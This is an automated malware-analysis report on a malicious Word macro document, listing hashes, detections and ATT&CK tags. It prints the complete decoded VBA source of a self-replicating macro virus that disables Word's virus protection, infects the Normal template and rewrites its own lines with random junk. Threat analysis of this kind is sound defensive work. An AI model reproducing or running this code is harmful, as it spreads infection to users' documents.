Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 47ad098b0c1732b9…

MALICIOUS

Office (OLE)

36.0 KB Created: 1999-07-01 17:32:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 51d66b4d94152e5fb5b74b5097199e9c SHA-1: 6628012129271c3da6668a65cf7a19c4399fdb31 SHA-256: 47ad098b0c1732b9e1d500f65b364f0cc7a8a1aa8803130bbdc1c3471892d128
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Office document containing VBA macros, specifically triggering on the Document_Open event. The macro attempts to export its code to 'c:\frurby.sys' and then add it back, suggesting it's part of a payload staging or obfuscation process. The presence of the Document_Open macro and the ClamAV detection strongly indicate malicious intent, likely to download and execute a secondary payload.

Heuristics 3

  • ClamAV: Doc.Trojan.CPCK-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.CPCK-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8542 bytes
SHA-256: f973bed6688443ce09b66f5024f247d24ba10a7dca7a019827040aae202df96a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
PLM = GGR + AQR
On Error Resume Next
PAJ = SRI + VTB
DF1 = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
UIL = QBN + KGN
Options.VirusProtection = 0
OFG = SSM + VUE
Options.SaveNormalPrompt = 0
PVF = LCV + OAM
Application.EnableCancelKey = 0
CCR = GBG + IGU
CK41 = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
VIG = DDO + JJP
Options.ConfirmConversions = 0
HNE = EMB + KTF
If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Sub" Then
RIG = UNN + JCM
Set PQ45 = ActiveDocument.VBProject.VBComponents.Item(1)
PUS = ALU + JOL
LR35 = True
LKH = IFB + FVB
End If
IIK = DKF + NLD
If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Sub" Then
UOL = ICR + KQN
Set PQ45 = NormalTemplate.VBProject.VBComponents.Item(1)
SAE = BCH + CAL
OG28 = True
OLS = BEO + JHD
End If
PUL = BQI + KKE
If OG28 = True Then
HCM = DUC + JGT
ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\frurby.sys"
QGO = FBA + HRG
PQ45.CodeModule.AddFromFile ("c:\frurby.sys")
FKF = HAK + ETM
PQ45.CodeModule.deletelines 1, 4
QUH = LBN + JVC
PQ45.CodeModule.replaceline 1, "Sub Document_Close()"
UNH = DKE + VCA
ElseIf LR35 = True Then
HMU = LIS + SOP
PQ45.CodeModule.AddFromFile ("c:\frurby.sys")
VHK = JPD + JLR
PQ45.CodeModule.deletelines 1, 4
LJL = FNK + OTI
End If
GGD = LEM + HTK
With PQ45.CodeModule
EPQ = NRD + REV
For x = 2 To (PQ45.CodeModule.CountOfLines - 2) Step 2
BBR = IKC + CDB
.replaceline x, (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & " = " & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & " + " & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22)))
PLM = EKQ + QIT
Next x
QBN = PAJ + IGV
End With
RPJ = QGH + JUC
FP22:
OHC = EBJ + VLK
    MsgBox "Birthday of Furby"
VEI = IGL + DLV
End Sub



' Processing file: /opt/analyzer/scan_staging/a49e7508b8474602b4facfb81847694b.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 7786 bytes
' Line #0:
' 	FuncDefn (Sub Document_Open())
' Line #1:
' 	Ld GGR 
' 	Ld AQR 
' 	Add 
' 	St PLM 
' Line #2:
' 	OnError (Resume Next) 
' Line #3:
' 	Ld SRI 
' 	Ld VTB 
' 	Add 
' 	St PAJ 
' Line #4:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St DF1 
' Line #5:
' 	Ld QBN 
' 	Ld KGN 
' 	Add 
' 	St UIL 
' Line #6:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #7:
' 	Ld SSM 
' 	Ld VUE 
' 	Add 
' 	St OFG 
' Line #8:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #9:
' 	Ld LCV 
' 	Ld OAM 
' 	Add 
' 	St PVF 
' Line #10:
' 	LitDI2 0x0000 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #11:
' 	Ld GBG 
' 	Ld IGU 
' 	Add 
' 	St CCR 
' Line #12:
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St CK41 
' Line #13:
' 	Ld DDO 
' 	Ld JJP 
' 	Add 
' 	St VIG 
' Line #14:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #15:
' 	Ld EMB 
' 	Ld KTF 
' 	Add 
' 	St HNE 
' Line #16:
' 	LitDI2 0x0001 
' 	LitDI2 0x0003 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitDI2 0x0003 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0003 "Sub"
' 	Ne 
' 	IfBlock 
' Line #17:
' 	Ld UNN 
' 	Ld JCM 
' 	Add 
' 	St RIG 
' Line #18:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set PQ45 
' Line
... (truncated)

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